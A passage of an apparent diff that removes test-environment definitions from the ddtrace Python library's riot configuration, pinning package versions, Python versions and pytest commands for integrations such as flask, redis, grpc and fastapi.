"elasticsearch7": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="elasticsearch:async", - command="pytest {cmdargs} tests/contrib/elasticsearch/test_async.py", - env={"AIOHTTP_NO_EXTENSIONS": "1"}, # needed until aiohttp is updated to support python 3.12 - pys=select_pys(), - pkgs={ - "elasticsearch[async]": latest, - "elasticsearch7[async]": latest, - "opensearch-py[async]": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="elasticsearch:opensearch", - # avoid running tests in ElasticsearchPatchTest, only run tests with OpenSearchPatchTest configurations - command="pytest {cmdargs} tests/contrib/elasticsearch/test_opensearch.py -k 'not ElasticsearchPatchTest'", - pys=select_pys(), - pkgs={ - "opensearch-py[requests]": ["~=1.1.0", "~=2.0.0", latest], - "pytest-randomly": latest, - }, - ), - Venv( - name="flask", - command="pytest {cmdargs} tests/contrib/flask", - pkgs={ - "blinker": latest, - "requests": latest, - "werkzeug": "~=2.0", - "urllib3": "~=1.0", - "pytest-randomly": latest, - "importlib_metadata": latest, - "flask-openapi3": latest, - }, - venvs=[ - # Flask 1.x.x - Venv( - pys=select_pys(max_version="3.9"), - pkgs={ - "flask": "~=1.0", - # https://github.com/pallets/itsdangerous/issues/290 - # DEV: Breaking change made in 2.1.0 release - "itsdangerous": "<2.1.0", - # https://github.com/pallets/markupsafe/issues/282 - # DEV: Breaking change made in 2.1.0 release - "markupsafe": "<2.0", - # DEV: Flask 1.0.x is missing a maximum version for werkzeug dependency - "werkzeug": "<2.0", - }, - ), - Venv( - pys=select_pys(max_version="3.9"), - command="python tests/ddtrace_run.py pytest {cmdargs} tests/contrib/flask_autopatch", - env={ - "DD_SERVICE": "test.flask.service", - "DD_PATCH_MODULES": "jinja2:false", - }, - pkgs={ - "flask": "~=1.0", - # https://github.com/pallets/itsdangerous/issues/290 - # DEV: Breaking change made in 2.0 release - "itsdangerous": "<2.0", - # https://github.com/pallets/markupsafe/issues/282 - # DEV: Breaking change made in 2.1.0 release - "markupsafe": "<2.0", - # DEV: Flask 1.0.x is missing a maximum version for werkzeug dependency - "werkzeug": "<2.0", - }, - ), - Venv( - pys=select_pys(), - pkgs={ - "flask": [ - "~=2.0", - "~=3.0.0", - latest, - ], - # Flask 3.x.x requires Werkzeug >= 3.0.0 - "werkzeug": ">=3.0", - }, - ), - Venv( - pys=select_pys(), - command="python tests/ddtrace_run.py pytest {cmdargs} tests/contrib/flask_autopatch", - env={ - "DD_SERVICE": "test.flask.service", - "DD_PATCH_MODULES": "jinja2:false", - }, - pkgs={ - "flask": [ - "~=3.0.0", - latest, - ], - # Flask 3.x.x requires Werkzeug >= 3.0.0 - "werkzeug": ">=3.0", - }, - ), - ], - ), - Venv( - name="flask_cache", - command="pytest {cmdargs} tests/contrib/flask_cache", - pkgs={ - "python-memcached": latest, - "redis": "~=2.0", - "blinker": latest, - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=["3.9"], - pkgs={ - "flask": "~=0.12.0", - "Werkzeug": ["<1.0"], - "Flask-Cache": "~=0.13.1", - "werkzeug": "<1.0", - "pytest": "~=6.0", - "pytest-mock": "==2.0.0", - "pytest-cov": "~=3.0", - "Jinja2": "~=2.10.0", - "more_itertools": "<8.11.0", - # https://github.com/pallets/itsdangerous/issues/290 - # DEV: Breaking change made in 2.0 release - "itsdangerous": "<2.0", - # https://github.com/pallets/markupsafe/issues/282 - # DEV: Breaking change made in 2.1.0 release - "markupsafe": "<2.0", - "exceptiongroup": latest, - }, - ), - Venv( - pkgs={ - "flask": "~=1.1.0", - "flask-caching": ["~=1.10.0", latest], - # https://github.com/pallets/itsdangerous/issues/290 - # DEV: Breaking change made in 2.0 release - "itsdangerous": "<2.0", - # https://github.com/pallets/markupsafe/issues/282 - # DEV: Breaking change made in 2.1.0 release - "markupsafe": "<2.0", - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - ), - Venv( - pys=select_pys(min_version="3.12", max_version="3.13"), - pkgs={ - "redis": latest, - }, - ), - ], - ), - Venv( - pkgs={ - "flask": [latest], - "flask-caching": ["~=1.10.0", latest], - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - ), - Venv( - pys=select_pys(min_version="3.12", max_version="3.13"), - pkgs={"redis": latest}, - ), - ], - ), - ], - ), - Venv( - name="mako", - command="pytest {cmdargs} tests/contrib/mako", - pys=select_pys(), - pkgs={ - "mako": ["~=1.0.0", latest], - "pytest-randomly": latest, - }, - ), - Venv( - name="mlflow", - command="pytest {cmdargs} tests/contrib/mlflow/", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.10", max_version="3.11"), - pkgs={ - "mlflow": ["~=2.11.0"], - # pkg_resources was removed in v82.0.0 - "setuptools": "<82", - }, - ), - Venv( - pys=select_pys(min_version="3.12", max_version="3.13"), - pkgs={ - "mlflow": [latest], - # pkg_resources was removed in v82.0.0 - "setuptools": "<82", - }, - ), - ], - ), - Venv( - name="mysql", - command="pytest {cmdargs} tests/contrib/mysql", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=["3.9"], - pkgs={"mysql-connector-python": ["==8.0.5", latest]}, - ), - Venv( - # mysql-connector-python added support for Python 3.10 in 8.0.28 - pys="3.10", - pkgs={"mysql-connector-python": ["~=8.0.28", latest]}, - ), - Venv( - # mysql-connector-python added support for Python 3.11 in 8.0.31 - pys="3.11", - pkgs={"mysql-connector-python": ["~=8.0.31", latest]}, - ), - Venv( - pys=select_pys(min_version="3.12"), - pkgs={"mysql-connector-python": latest}, - ), - ], - ), - Venv( - name="psycopg:psycopg2", - command="pytest {cmdargs} tests/contrib/psycopg2", - pys=select_pys(), - pkgs={ - "pytest-randomly": latest, - "psycopg2-binary": ["~=2.9.2", latest], - }, - ), - Venv( - name="psycopg", - command="pytest {cmdargs} tests/contrib/psycopg", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - venvs=[ - Venv( - pys=["3.9"], - pkgs={ - "psycopg": "~=3.0.0", - "pytest-asyncio": "==0.21.1", - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "psycopg": latest, - "pytest-asyncio": "==0.21.1", - }, - ), - Venv( - pys=["3.12"], - pkgs={ - "psycopg": latest, - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "psycopg": latest, - "pytest-asyncio": ">=1.0", - }, - ), - ], - ), - ], - ), - Venv( - name="appsec_iast_memcheck", - command="pytest --memray --stacks=35 {cmdargs} tests/appsec/iast_memcheck/", - pys=select_pys(), - pkgs={ - "requests": latest, - "urllib3": latest, - "cryptography": latest, - "pytest-memray": latest, - "pytest-asyncio": latest, - "pytest-randomly": latest, - "psycopg2-binary": "~=2.9.9", - }, - env={ - "_DD_IAST_PATCH_MODULES": "benchmarks.,tests.appsec.", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - "DD_IAST_MAX_CONCURRENT_REQUEST": "1000", - "DD_IAST_TRUNCATION_MAX_VALUE_LENGTH": "10000", - "DD_IAST_MAX_RANGE_COUNT": "10000", - }, - ), - Venv( - name="pymemcache", - pys=select_pys(), - pkgs={ - "pytest-randomly": latest, - "pymemcache": [ - "~=3.4.2", - "~=3.5", - latest, - ], - }, - venvs=[ - Venv(command="pytest {cmdargs} --ignore=tests/contrib/pymemcache/autopatch tests/contrib/pymemcache"), - Venv(command="python tests/ddtrace_run.py pytest {cmdargs} tests/contrib/pymemcache/autopatch/"), - ], - ), - Venv( - name="appsec_integrations_pygoat", - pys=["3.10", "3.11", "3.12"], - pkgs={ - "requests": latest, - "pyyaml": "==6.0.1", - # pip==25.0.0 removed the --global-option install arg - "pip": "<25", - }, - env={ - "DD_CIVISIBILITY_ITR_ENABLED": "false", - "DD_IAST_REQUEST_SAMPLING": "100", - "DD_IAST_ENABLED": "true", - "_DD_IAST_DEBUG": "false", - "DD_IAST_VULNERABILITIES_PER_REQUEST": "100", - "DD_REMOTE_CONFIGURATION_ENABLED": "true", - "DD_IAST_DEDUPLICATION_ENABLED": "false", - "PYDONTWRITEBYTECODE": "1", - "PYTHONUNBUFFERED": "1", - }, - command="bash tests/appsec/integrations/pygoat_tests/run_pygoat.sh tests/appsec/integrations/pygoat_tests/", - ), - Venv( - name="pynamodb", - command="pytest -n 8 --dist=worksteal {cmdargs} tests/contrib/pynamodb", - # TODO: Py312 requires changes to test code - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "pynamodb": ["~=5.3", "<6.0"], - "moto": ">=1.0,<2.0", - "cfn-lint": "~=0.53.1", - "Jinja2": "~=2.10.0", - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - ), - Venv( - name="starlette", - command="pytest {cmdargs} tests/contrib/starlette", - pkgs={ - "pytest-asyncio": "==0.21.1", - "greenlet": "~=3.0", - "requests": latest, - "aiofiles": latest, - "sqlalchemy": "<2.0", - "aiosqlite": latest, - "databases": latest, - "pytest-randomly": latest, - "anyio": "<4.0", - }, - venvs=[ - # starlette added new TestClient after v0.20 - # starlette added new root_path/path definitions after v0.33 - Venv( - # starlette added support for Python 3.9 in 0.14 - pys="3.9", - pkgs={ - "starlette": ["~=0.14.0", "~=0.20.0", "~=0.33.0"], - "httpx": "~=0.22.0", - }, - ), - Venv( - # starlette added support for Python 3.10 in 0.15 - pys="3.10", - pkgs={ - "starlette": ["~=0.15.0", "~=0.20.0", "~=0.33.0", latest], - "httpx": "~=0.27.0", - }, - ), - Venv( - # starlette added support for Python 3.11 in 0.21 - pys="3.11", - pkgs={"starlette": ["~=0.21.0", "~=0.33.0"], "httpx": "~=0.22.0"}, - ), - Venv( - pys=select_pys(min_version="3.12"), - pkgs={"starlette": latest, "httpx": "~=0.27.0"}, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={"starlette": [latest], "httpx": "~=0.22.0"}, - ), - ], - ), - Venv( - name="structlog", - pys=select_pys(), - command="pytest {cmdargs} tests/contrib/structlog", - pkgs={ - "structlog": ["~=20.2.0", latest], - "pytest-randomly": latest, - }, - ), - Venv( - name="sqlalchemy", - command="pytest {cmdargs} tests/contrib/sqlalchemy", - pkgs={ - "pytest-randomly": latest, - "psycopg2-binary": latest, - "mysql-connector-python": latest, - "sqlalchemy": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "greenlet": "==3.0.3", - "sqlalchemy": ["~=1.3.0", latest], - }, - ), - Venv( - pys=select_pys(min_version="3.12", max_version="3.13"), - pkgs={ - "greenlet": "==3.1.0", - }, - ), - Venv( - pys=select_pys(min_version="3.14"), - pkgs={ - "greenlet": "==3.2.4", - }, - ), - ], - ), - Venv( - name="requests", - command="pytest {cmdargs} tests/contrib/requests", - pkgs={ - "pytest-randomly": latest, - "urllib3": "~=1.0", - "requests-mock": ">=1.4", - }, - venvs=[ - Venv( - # requests added support for Python 3.9 in 2.25 - pys="3.9", - pkgs={ - "requests": [ - "~=2.25.0", - latest, - ], - }, - ), - Venv( - # requests added support for Python 3.10 in 2.27 - pys="3.10", - pkgs={ - "requests": [ - "~=2.27", - latest, - ], - }, - ), - Venv( - # requests added support for Python 3.11 in 2.28 - pys="3.11", - pkgs={ - "requests": [ - "~=2.28.0", - latest, - ], - }, - ), - Venv( - pys=select_pys(min_version="3.12"), - pkgs={ - "requests": [ - latest, - ], - }, - ), - ], - ), - Venv( - name="wsgi", - command="pytest {cmdargs} tests/contrib/wsgi", - venvs=[ - Venv( - pys=select_pys(max_version="3.12"), - pkgs={ - "WebTest": latest, - "pytest-randomly": latest, - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "WebTest": latest, - "pytest-randomly": latest, - "legacy-cgi": latest, - }, - ), - ], - ), - Venv( - name="botocore", - command="pytest {cmdargs} tests/contrib/botocore", - pkgs={ - "moto[all]": "<5.0", - "pytest-randomly": latest, - "vcrpy": "==6.0.1", - }, - venvs=[ - Venv( - pkgs={"botocore": "==1.34.49", "boto3": "==1.34.49"}, - pys=select_pys(), - ), - Venv( - pkgs={ - "vcrpy": "==7.0.0", - "botocore": "==1.38.26", - "boto3": "==1.38.26", - }, - pys=select_pys(), - ), - ], - ), - Venv( - name="asgi", - pkgs={ - "pytest-asyncio": "==0.21.1", - "httpx": "<0.28.0", - "asgiref": ["~=3.0.0", "~=3.0", latest], - "pytest-randomly": latest, - }, - pys=select_pys(), - command="pytest {cmdargs} tests/contrib/asgi", - ), - Venv( - name="mariadb", - command="pytest {cmdargs} tests/contrib/mariadb", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={ - "mariadb": [ - "~=1.0.0", - "~=1.0", - latest, - ], - }, - ), - Venv( - pys=select_pys(min_version="3.11"), - pkgs={"mariadb": ["~=1.1.2", latest]}, - ), - ], - ), - Venv( - name="pymysql", - command="pytest {cmdargs} tests/contrib/pymysql", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - # pymysql added support for Python 3.9 in 0.10 - pys="3.9", - pkgs={"pymysql": "~=0.10"}, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "pymysql": [ - "~=1.0", - latest, - ], - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "pymysql": [ - latest, - ], - }, - ), - ], - ), - Venv( - name="pyramid", - command="pytest {cmdargs} tests/contrib/pyramid", - pkgs={ - "requests": [latest], - "webtest": [latest], - "tests/contrib/pyramid/pserve_app": [latest], - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "pyramid": [ - "~=1.10", - "~=2.0", - latest, - ], - }, - ), - Venv( - # pyramid added support for Python 3.10/3.11 in 2.1 - # FIXME[python-3.12]: blocked on venusian release https://github.com/Pylons/venusian/issues/85 - pys=select_pys(min_version="3.10", max_version="3.12"), - pkgs={ - "pyramid": [latest], - }, - ), - Venv( - # pyramid added support for Python 3.10/3.11 in 2.1 - # FIXME[python-3.12]: blocked on venusian release https://github.com/Pylons/venusian/issues/85 - pys=select_pys(min_version="3.13"), - pkgs={ - "pyramid": [latest], - "legacy-cgi": latest, - }, - ), - ], - ), - Venv( - name="aiobotocore", - command="pytest {cmdargs} --no-cov tests/contrib/aiobotocore", - pkgs={ - "pytest-asyncio": "==0.21.1", - "async_generator": ["~=1.10"], - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "aiobotocore": ["~=1.0.0", "~=1.4.2", "~=2.0.0", latest], - }, - ), - Venv( - pys=select_pys(min_version="3.12"), - pkgs={"aiobotocore": latest}, - ), - ], - ), - Venv( - name="fastapi", - command="pytest {cmdargs} tests/contrib/fastapi", - pkgs={ - "httpx": "<=0.27.2", - "pytest-asyncio": "==0.21.1", - "python-multipart": latest, - "pytest-randomly": latest, - "requests": latest, - "aiofiles": latest, - "cloudpickle": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={"fastapi": ["~=0.64.0", "~=0.90.0", latest]}, - ), - Venv( - # fastapi added support for Python 3.11 in 0.86.0 - pys=select_pys(min_version="3.11", max_version="3.13"), - pkgs={"fastapi": ["~=0.86.0", latest], "anyio": ">=3.4.0,<4.0"}, - ), - Venv( - pys=select_pys(min_version="3.14"), - pkgs={"fastapi": latest, "hypothesis": latest}, - ), - ], - ), - Venv( - name="aiomysql", - command="pytest {cmdargs} tests/contrib/aiomysql", - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "pytest-randomly": latest, - "pytest-asyncio": "==0.23.7", - "aiomysql": ["~=0.1.0", latest], - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "pytest-randomly": latest, - "pytest-asyncio": latest, - "aiomysql": ["~=0.1.0", latest], - }, - ), - ], - ), - Venv( - name="pytest", - command=( - "pytest --ddtrace --no-cov -n auto --dist=worksteal {cmdargs} tests/contrib/pytest/" - " --ignore=tests/contrib/pytest/snapshot/" - ), - pkgs={ - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - env={ - "DD_AGENT_PORT": "9126", - "DD_PYTEST_USE_NEW_PLUGIN": "false", - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "msgpack": latest, - "more_itertools": "<8.11.0", - "pytest-mock": "==2.0.0", - "httpx": "<0.28.0", - }, - venvs=[ - Venv( - pkgs={ - "pytest": ["~=6.0"], - "pytest-cov": "==2.9.0", - }, - ), - Venv( - pkgs={ - "pytest": ["~=7.0", latest], - "pytest-cov": "==2.12.0", - }, - ), - ], - ), - Venv( - pys=select_pys(min_version="3.10", max_version="3.13"), - pkgs={ - "pytest": [ - "~=6.0", - "~=7.0", - latest, - ], - "msgpack": latest, - "asynctest": "==0.13.0", - "more_itertools": "<8.11.0", - "httpx": "<0.28.0", - }, - ), - ], - ), - Venv( - # Snapshot tests for the v2 pytest plugin run separately so they get their own CI job - # with the test agent service, and to avoid mixing snapshot vs non-snapshot coverage. - # DD_PYTEST_USE_NEW_PLUGIN=false loads the v2 plugin (ddtrace/contrib/internal/pytest). - # test_pytest_snapshot.py is permanently skipped (_USE_PLUGIN_V2=True hardcoded); - # test_pytest_snapshot_v2.py and test_pytest_xdist_snapshot.py always run. - name="pytest:snapshot", - command="pytest {cmdargs} --ddtrace tests/contrib/pytest/snapshot/", - pkgs={ - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - env={ - "DD_AGENT_PORT": "9126", - "DD_PYTEST_USE_NEW_PLUGIN": "false", - }, - venvs=[ - # pytest~=6.0 is excluded: anyio (via httpx) registers a pytest plugin that - # imports _pytest.scope, which only exists in pytest>=7.2. Version compatibility - # with older pytest is covered by the main pytest venv. - Venv( - pys="3.9", - pkgs={ - "pytest": ["~=7.2", "~=8.0"], - "msgpack": latest, - "more_itertools": "<8.11.0", - "httpx": "<0.28.0", - }, - ), - Venv( - pys=select_pys(min_version="3.10", max_version="3.13"), - pkgs={ - "pytest": ["~=7.2", "~=8.0", latest], - "msgpack": latest, - "asynctest": "==0.13.0", - "more_itertools": "<8.11.0", - "httpx": "<0.28.0", - }, - ), - ], - ), - Venv( - name="testing", - command="pytest --ddtrace --no-cov -n auto --dist=worksteal {cmdargs} tests/testing/", - pkgs={ - "pytest-randomly": latest, - "pytest-xdist": latest, - "pytest-benchmark": latest, - "pytest-bdd": latest, - "pytest-timeout": latest, - }, - env={ - "DD_AGENT_PORT": "9126", - "_DD_CIVISIBILITY_USE_CI_CONTEXT_PROVIDER": "0", - # Disable coverage report upload for this suite: these tests exercise the - # coverage upload functionality themselves, so having the plugin also run - # coverage upload concurrently causes interference (the plugin's global - # coverage.py instance gets stopped by the tests, corrupting state). - "DD_CIVISIBILITY_CODE_COVERAGE_REPORT_UPLOAD_ENABLED": "false", - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "pytest": [ - "==6.2.5", - "~=7.2", - "~=8.0", - ], - "msgpack": latest, - "more_itertools": "<8.11.0", - # "pytest-mock": "==2.0.0", - "httpx": "<0.28.0", - }, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={ - "pytest": [ - "~=7.2", - "~=8.0", - latest, # pytest 9.x does not support Python 3.9. - ], - "msgpack": latest, - "asynctest": "==0.13.0", - "more_itertools": "<8.11.0", - "httpx": "<0.28.0", - }, - ), - ], - ), - Venv( - name="unittest", - command="pytest {cmdargs} tests/contrib/unittest/", - pkgs={ - "msgpack": latest, - "pytest-randomly": latest, - }, - env={ - "DD_PATCH_MODULES": "unittest:true", - "DD_AGENT_PORT": "9126", - # gitlab sets the service name to the repo name while locally the default service name is used - # setting DD_SERVICE ensures the output of the snapshot tests is consistent. - "DD_UNITTEST_SERVICE": "dd-trace-py", - }, - pys=select_pys(), - ), - Venv( - name="asynctest", - command="pytest {cmdargs} tests/contrib/asynctest/", - pkgs={ - "pytest-randomly": latest, - "pytest": [ - ">=6.0,<7.0", - ], - "asynctest": "==0.13.0", - }, - pys="3.9", - ), - Venv( - name="pytest_bdd", - command="pytest {cmdargs} tests/testing/internal/pytest/test_pytest_bdd.py", - pkgs={ - "msgpack": latest, - "more_itertools": "<8.11.0", - "pytest": "==7.4.4", - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "pytest-bdd": [ - ">=4.0,<5.0", - # FIXME: add support for v6.1 - ">=6.0,<6.1", - ] - }, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={ - "pytest-bdd": [ - # FIXME: add support for v6.1 - ">=6.0,<6.1", - ] - }, - ), - ], - ), - Venv( - name="pytest_benchmark", - pys=select_pys(), - command="pytest {cmdargs} --no-cov tests/testing/internal/pytest/test_pytest_benchmark.py", - pkgs={ - "msgpack": latest, - "pytest-randomly": latest, - "pytest-benchmark": [ - ">=3.1.0,<=4.0.0", - ], - }, - ), - Venv( - name="pytest:flaky", - pys=select_pys(), - command="pytest {cmdargs} --no-cov -p no:flaky tests/testing/internal/pytest/test_pytest_flaky.py", - pkgs={ - "flaky": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="grpc", - command="python -m pytest -v {cmdargs} tests/contrib/grpc", - pkgs={ - "googleapis-common-protos": latest, - "pytest-randomly": latest, - }, - venvs=[ - # Versions between 1.14 and 1.20 have known threading issues - # See https://github.com/grpc/grpc/issues/18994 - Venv( - pys="3.9", - pkgs={"grpcio": ["~=1.34.0", latest]}, - ), - Venv( - # grpcio added support for Python 3.10 in 1.41 - # but the version contains some bugs resolved by https://github.com/grpc/grpc/pull/27635. - pys="3.10", - pkgs={"grpcio": ["~=1.42.0", latest]}, - ), - Venv( - # grpcio added support for Python 3.11 in 1.49 - pys="3.11", - pkgs={"grpcio": ["~=1.49.0", latest]}, - ), - Venv( - # grpcio added support for Python 3.12 in 1.59 - pys="3.12", - pkgs={ - "grpcio": ["~=1.59.0", latest], - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - pys="3.13", - pkgs={ - "grpcio": latest, - }, - ), - Venv( - pys="3.14", - pkgs={ - "grpcio": ">=1.75.0", - }, - ), - ], - ), - Venv( - name="grpc:grpc_aio", - command="python -m pytest {cmdargs} tests/contrib/grpc_aio", - pkgs={ - "googleapis-common-protos": latest, - "pytest-randomly": latest, - }, - # grpc.aio support is broken and disabled by default - env={"_DD_TRACE_GRPC_AIO_ENABLED": "true"}, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "grpcio": ["~=1.34.0", "~=1.59.0"], - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - # grpcio added support for Python 3.10 in 1.41 - # but the version contains some bugs resolved by https://github.com/grpc/grpc/pull/27635. - pys="3.10", - pkgs={ - "grpcio": ["~=1.42.0", "~=1.59.0"], - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - # grpcio added support for Python 3.11 in 1.49 - pys="3.11", - pkgs={ - "grpcio": ["~=1.49.0", "~=1.59.0"], - "pytest-asyncio": "==0.23.7", - }, - ), - ], - ), - Venv( - name="graphql:graphene", - command="pytest {cmdargs} tests/contrib/graphene", - pkgs={ - "graphql-relay": latest, - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "graphene": ["~=3.0.0", latest], - "pytest-asyncio": "==0.21.1", - }, - ), - Venv( - pys=select_pys(min_version="3.14"), - pkgs={ - "graphene": latest, - "pytest-asyncio": ">=1.0", - }, - ), - ], - ), - Venv( - name="graphql", - command="pytest {cmdargs} tests/contrib/graphql", - pys=select_pys(), - pkgs={ - "pytest-asyncio": "==0.21.1", - "graphql-core": ["~=3.2.0", latest], - "pytest-randomly": latest, - }, - ), - Venv( - name="rq", - command="pytest {cmdargs} tests/contrib/rq", - pkgs={ - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - }, - venvs=[ - Venv( - # rq added support for Python 3.9 in 1.8.1 - pys="3.9", - pkgs={ - "rq": [ - "~=1.8.1", - "~=1.10.0", - "~=2.0.0", # first major version; removed Job.get_id() in favour of job.id property - latest, - ], - # https://github.com/rq/rq/issues/1469 rq [1.0,1.8] is incompatible with click 8.0+ - "click": "==7.1.2", - }, - ), - Venv( - # rq added support for Python 3.10/3.11 in 1.13 - pys=select_pys(min_version="3.10", max_version="3.13"), - pkgs={"rq": latest}, - ), - ], - ), - Venv( - name="httpx", - command="pytest {cmdargs} tests/contrib/httpx", - pkgs={ - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - "httpx": [ - "~=0.25.0", - "~=0.27.0", - latest, - ], - }, - venvs=[ - Venv(pys=select_pys(max_version="3.12")), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "legacy-cgi": latest, - }, - ), - ], - ), - Venv( - name="urllib3", - command="pytest -n auto --dist=worksteal {cmdargs} tests/contrib/urllib3", - pkgs={ - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - venvs=[ - Venv( - # Support added for Python 3.9 in 1.25.8 - pys="3.9", - pkgs={"urllib3": ["==1.25.8", latest]}, - ), - Venv( - # Support added for Python 3.10 in 1.26.6 - pys="3.10", - pkgs={"urllib3": ["==1.26.6", latest]}, - ), - Venv( - # Support added for Python 3.11 in 1.26.8 - pys="3.11", - pkgs={"urllib3": ["==1.26.8", latest]}, - ), - Venv( - # Support added for Python 3.12 in 2.0.0 - pys=select_pys(min_version="3.12"), - pkgs={"urllib3": ["==2.0.0", latest]}, - ), - ], - ), - Venv( - name="algoliasearch", - command="pytest {cmdargs} tests/contrib/algoliasearch", - pys=select_pys(), - pkgs={"urllib3": "~=1.26.15", "pytest-randomly": latest, "algoliasearch": "~=2.6"}, - ), - Venv( - name="aiopg", - command="pytest {cmdargs} tests/contrib/aiopg", - pkgs={ - "sqlalchemy": latest, - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "aiopg": ["~=0.16.0"], - }, - ), - Venv( - pys=select_pys(), - pkgs={ - "aiopg": ["~=1.0", "~=1.4.0"], - }, - ), - ], - ), - Venv( - name="aiohttp", - command="pytest {cmdargs} tests/contrib/aiohttp", - pkgs={ - "pytest-randomly": latest, - "yarl": "~=1.0", - }, - venvs=[ - Venv( - # only test a subset of files for older aiohttp versions - command="pytest {cmdargs} tests/contrib/aiohttp/test_aiohttp_client.py \ - tests/contrib/aiohttp/test_aiohttp_patch.py", - pys="3.9", - pkgs={ - "pytest-aiohttp": ["<=1.0.5"], - "aiohttp": ["~=3.7.0"], - "pytest-asyncio": ["<=0.23.7"], - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "pytest-asyncio": ["==0.23.7"], - "pytest-aiohttp": ["==1.0.5"], - "aiohttp": ["~=3.7", latest], - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "pytest-asyncio": [">=1.0.0"], - "pytest-aiohttp": latest, - "aiohttp": ["~=3.7", latest], - }, - ), - ], - ), - Venv( - name="aiohttp_jinja2", - command="pytest {cmdargs} tests/contrib/aiohttp_jinja2", - pkgs={ - "pytest-aiohttp": [latest], - "pytest-randomly": latest, - "aiohttp": [ - "~=3.7", - latest, - ], - "aiohttp_jinja2": [ - "~=1.5.0", - latest, - ], - "jinja2": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "pytest-asyncio": ["==0.23.7"], - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "pytest-asyncio": [">=1.0.0"], - }, - ), - ], - ), - Venv( - name="jinja2", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "jinja2": "~=2.10.0", - # https://github.com/pallets/markupsafe/issues/282 - # DEV: Breaking change made in 2.1.0 release - "markupsafe": "<2.0", - }, - ), - Venv( - pys=select_pys(), - pkgs={ - "jinja2": ["~=3.0.0", latest], - }, - ), - ], - command="pytest {cmdargs} tests/contrib/jinja2", - ), - Venv( - name="rediscluster", - command="pytest {cmdargs} tests/contrib/rediscluster", - pys=select_pys(max_version="3.11"), - pkgs={"pytest-randomly": latest, "redis-py-cluster": [">=2.0,<2.1", latest]}, - ), - Venv( - name="redis", - command="pytest {cmdargs} tests/contrib/redis", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={ - "redis": [ - "~=4.1", - "~=4.3", - "==5.0.1", - ], - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - # redis added support for Python 3.11 in 4.3 - pys="3.11", - pkgs={ - "redis": ["~=4.3", "==5.0.1"], - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - pys=select_pys(min_version="3.12", max_version="3.13"), - pkgs={ - "redis": latest, - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - pys=select_pys(min_version="3.14"), - pkgs={ - "redis": latest, - "pytest-asyncio": latest, - }, - ), - ], - ), - Venv( - name="aredis", - pys="3.9", - command="pytest {cmdargs} tests/contrib/aredis", - pkgs={ - "pytest-asyncio": "==0.21.1", - "aredis": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="avro", - pys=select_pys(), - command="pytest {cmdargs} tests/contrib/avro", - pkgs={ - "avro": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="protobuf", - command="pytest {cmdargs} tests/contrib/protobuf", - pys=select_pys(), - pkgs={ - "protobuf": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="yaaredis", - command="pytest {cmdargs} tests/contrib/yaaredis", - pkgs={ - "pytest-asyncio": "==0.21.1", - # pytest-asyncio 